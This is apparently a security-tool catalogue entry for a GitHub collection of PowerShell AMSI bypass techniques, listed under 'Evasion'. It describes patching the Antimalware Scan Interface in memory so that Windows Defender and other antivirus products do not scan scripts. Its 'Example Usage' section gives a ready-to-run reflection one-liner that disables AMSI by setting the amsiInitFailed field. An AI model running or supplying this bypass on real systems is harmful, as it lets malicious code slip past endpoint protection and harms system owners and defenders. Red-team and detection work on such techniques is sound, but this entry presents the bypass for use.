← All tools

AMSI Bypass Techniques

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

Open Source

Categories

Evasion

Description

Collection of PowerShell AMSI (Antimalware Scan Interface) bypass techniques. Patches AMSI in-memory to prevent PowerShell scripts from being scanned by Windows Defender and compatible AV products.

Keywords

AMSI bypass PowerShell Windows Defender AV evasion in-memory patch reflection antivirus

Example Usage

# Reflection method:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)